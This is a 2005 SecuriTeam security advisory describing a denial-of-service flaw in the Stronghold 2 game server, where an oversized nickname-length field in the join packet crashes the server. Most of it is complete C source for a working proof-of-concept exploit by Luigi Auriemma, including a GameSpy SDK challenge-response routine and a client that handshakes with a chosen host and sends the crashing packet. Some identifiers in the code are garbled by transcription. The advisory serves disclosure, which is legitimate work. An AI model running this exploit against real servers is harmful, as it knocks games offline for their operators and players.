

[NT] Stronghold DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0165.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 05/31/05

To: list@securiteam.com

Date: 31 May 2005 17:41:41 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Stronghold DoS

SUMMARY

<<http://www.stronghold2.com>> Stronghold 2 is "a strategic game developed by Firefly Studios and published by 2K Games. It has been released in April 2005".

Stronghold 2 server can be caused to crash by sending it a malformed nickname.

DETAILS

Vulnerable Systems:

* Stronghold2 version 1.2 and prior.

In the packet used for joining the server is locatd the client's nickname preceded by a 32 bit number used to specify its size. When the server receives the packet it reads this number and allocates that amount of memory where, then, will be copied the nickname. The problem is that the STLport library fails to allocate a too big amount of memory and generates an exception that terminates the game.

Proof of concept:

gssdkcr.h:

/*

GS SDK challenge–response algorithm 0.1

by Luigi Auriemma

e–mail: aluigi@autistici.org

web: <http://aluigi.altervista.org>

INTRODUCTION

=====

This algorithm is referred to the challenge–response method used by some of the games that use the Gamespy SDK like Halo and Soldier of Anarchy.

This handshake is used to let valid client to join the game servers, in fact if clients answer with a wrong response they are immediately kicked.

If we get Halo as practical example we can see that we have the following 3 packets easily visible using a packet analyzer:

- client → server: client challenge (a text string of 32 chars)
- server → client: response to the client's challenge plus the server's challenge
- client → server: response calculated on the server's challenge

HOW TO USE

=====

The function `gssdkcr()` requires the following parameters:

- the destination buffer that will contain the resulted string. It must be 33 bytes long (32 plus the final NULL byte).
- the "challenge" string (sent by the server or by the client).
- the buffer containing the game's text string used for the calculation of the response.

By default the Gamespy SDK uses `3b8dd8995f7c40a9a5c5b7dd5b481341` but some games might use different values like Soldier of Anarchy that

uses `0AB3F935936211D19A2B080000300512` (the CLSID of the game).

However if the value is NULL, will be used the default value.

The return value is a pointer to the destination string.

EXAMPLE

=====

In Halo for example we must use:

```
char resp[33],
    chall[] = "nTu4y&t,Cr{P5j{6k<]^E@–ToF#Kg>m";
gssdkcr(resp, chall, 0);
```

while in Soldier of Anarchy we must change this one:

```
gssdkcr(resp, chall, "0AB3F935936211D19A2B080000300512");
```

LICENSE

=====

Copyright 2004 Luigi Auriemma

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by

Securiteam: [NT] Stronghold DoS

the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA

<http://www.gnu.org/licenses/gpl.txt>

*/

```
#include <time.h>
```

```
unsigned char *gssdkcr(  
    unsigned char *dst,  
    unsigned char *src,  
    unsigned char *key) {  
  
    unsigned int oz,  
                i,  
                keysz,  
                count,  
                old,  
                tmp,  
                randnum;  
    unsigned char *ptr;  
    const static char  
        key_default[] =  
        "3b8dd8995f7c40a9a5c5b7dd5b481341";  
  
    randnum = time(NULL); // something random  
    if(!key) key = (unsigned char *)key_default;  
    keysz = strlen(key);  
  
    ptr = src;  
    old = *ptr;  
    tmp = old < 0x4f;  
    count = 0;  
    for(oz = i = 1; i < 32; i++) {  
        count ^= (((*ptr < old) ^ ((old ^ i) & 1)) ^ (*ptr & 1)) ^ tmp;  
        ptr++;  
        if(count) {  
            if(!(*ptr & 1)) { oz = 0; break; }  
        } else {  
            if(*ptr & 1) { oz = 0; break; }  
        }  
    }  
}
```

```

    }
}

ptr = dst;
for(i = 0; i < 32; i++, ptr++) {
    if(!oz || !i || (i == 13)) {
        randnum = (randnum * 0x343FD) + 0x269EC3;
        *ptr = (((randnum >> 16) & 0x7fff) % 93) + 33;
        continue;
    } else if((i == 1) || (i == 14)) {
        old = src[i];
    } else {
        old = src[i - 1];
    }
    tmp = (old * i) * 17991;
    old = src[(key[(src[i] + i) % keysz] + (src[i] * i)) & 31];
    *ptr = ((old ^ key[tmp % keysz]) % 93) + 33;
}
*ptr = 0x00;

return(dst);
}

strong2boom.c:
/*

by Luigi Auriemma – http://aluigi.altervista.org/poc/strong2boom.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "gssdkcr.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
    #define ONESEC 1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC 1
#endif

```

Securiteam: [NT] Stronghold DoS

```
#define VER "0.1"
#define BUFSZ 8192
#define PORT 19966
#define TIMEOUT 1
#define TWAIT 10
#define BOOMSZ 0xffffffff // impossible to allocate

#define ADDSHORT(x) *(u_short *)p = x; \
    p += 2;
#define ADDINT(x) *(u_int *)p = x; \
    p += 4;
#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, \
    sizeof(peer)) \
    < 0) std_err();
#define RECV(x,y) len = recvfrom(sd, x, y, 0, NULL, NULL); \
    if(len < 0) std_err();
#define SOCKETOUT if(len < 0) { \
    fputs("\nError: socket timeout, no reply \
    received\n\n", stdout); \
    exit(1); \
    }

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz);
void show_info(u_char *data, int len);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);

struct sockaddr_in peer;

int main(int argc, char *argv[]) {
    u_int seed;
    int sd,
        len;
    u_short port = PORT;
    u_char buff[BUFSZ + 1],
        info[] =
            "\xfe\xfd" "\x00" "\x00\x00\x00\x00" "\xff\x00\x00",
            *psdk,
            *p;

#pragma pack(1) // a basic header (only sign and type remain the same)
    struct gssdk_header {
        u_short sign;
        u_char type;
        u_short gs1;
        u_short gs2;
    } *gh;
#pragma pack()
```

```

#ifdef WIN32
    WSADATA wsadata;
    WSASStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Stronghold 2 <= 1.2 server crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    printf("- target %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- request informations:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    *(u_int*)(info + 3) = ~time(NULL);
    len = send_recv(sd, info, sizeof(info) - 1, buff, BUFFSZ);
    close(sd);
    SOCKETOUT;

    buff[len] = 0x00;
    show_info(buff, len);

    gh = (struct gssdk_header *)buff;
    psdk = buff + 7;
    seed = time(NULL);

    fputs("\n- start attack:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    gh->sign = htons(0xfefe);
    gh->type = 1;

```

Securiteam: [NT] Stronghold DoS

```
gh->gs1 = htons(0);
gh->gs2 = htons(0);
memset(psdk, '0', 32);
gssdkcr(psdk, psdk, 0);

len = send_recv(sd, buff, 39, buff, BUFFSZ);
SOCKTOUT;
buff[len] = 0x00;
if((gh->type != 2) || (ntohs(gh->gs1) != 0) || (ntohs(gh->gs2) != 1))
{
    fputs(" the first packet doesn't seem to have been accepted, I
continue\n", stdout);
}

gh->sign = htons(0xfefe);
gh->type = 3;
gh->gs1 = htons(1);
gh->gs2 = htons(1);
gssdkcr(psdk, buff + 39, 0);
p = psdk + 32;

ADDINT(BOOMSZ); // nickname size, it's all we need

len = send_recv(sd, buff, p - buff, buff, BUFFSZ);
while(len > 0) {
    if((gh->type == 4) || (gh->type == 5)) break;
    if(timeout(sd) < 0) break;
    RECV(buff, BUFFSZ);
}
close(sd);

fputs("- check server:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
*(u_int*)(info + 3) = ~time(NULL);
SEND(info, sizeof(info));
if(timeout(sd) < 0) {
    fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
    fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz) {
    int i,
        len;

    for(i = 3; i; i--) {
        SEND(in, insz);
```

```

    if(!timeout(sd)) break;
}
if(!i) return(-1);

RECV(out, outsz);
return(len);
}

void show_info(u_char *data, int len) {
    int nt = 0,
        d;
    u_char *limit = data + len;

    for(data += 5; data < limit; data += d + 1, nt++) {
        d = strlen(data);
        if(nt & 1) {
            printf("%s\n", data);
        } else {
            if(!d) break;
            printf("%30s: ", data);
        }
    }
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_int resolv(char *host) {
    struct hostent *hp;
    u_int host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
}

```

Securiteam: [NT] Stronghold DoS

```
return(host_ip);  
}  
  
#ifndef WIN32  
void std_err(void) {  
    perror("\nError");  
    exit(1);  
}  
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma.

The original article can be found at: <<http://aluigi.altervista.org>>
<http://aluigi.altervista.org>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.